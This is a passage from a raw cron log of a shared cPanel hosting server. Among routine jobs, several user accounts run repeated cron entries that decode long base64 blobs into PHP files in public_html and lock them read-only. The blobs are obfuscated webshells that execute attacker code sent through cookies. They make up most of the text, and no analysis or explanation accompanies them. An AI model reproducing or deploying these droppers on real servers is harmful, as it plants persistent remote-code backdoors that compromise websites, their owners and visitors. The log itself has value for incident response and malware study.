ICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:25:02 medusa CROND[6333]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:25:02 medusa CROND[6336]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:25:02 medusa CROND[6323]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:25:02 medusa CROND[6315]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:25:02 medusa CROND[6340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:26:01 medusa CROND[28050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:26:01 medusa CROND[28051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:26:01 medusa CROND[28052]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:26:01 medusa CROND[28053]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:26:01 medusa CROND[28055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:26:01 medusa CROND[28057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:26:01 medusa CROND[28058]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:26:01 medusa CROND[28060]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:26:01 medusa CROND[28059]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:26:01 medusa CROND[28061]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:26:01 medusa CROND[28063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:26:01 medusa CROND[28064]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:26:01 medusa CROND[28072]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:26:01 medusa CROND[28077]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:27:01 medusa CROND[17988]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:27:01 medusa CROND[17991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:27:01 medusa CROND[17992]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:27:01 medusa CROND[17993]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:27:01 medusa CROND[17994]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:27:01 medusa CROND[17995]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:27:01 medusa CROND[17996]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:27:01 medusa CROND[17997]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:27:01 medusa CROND[17999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:27:01 medusa CROND[18001]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:27:01 medusa CROND[18003]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 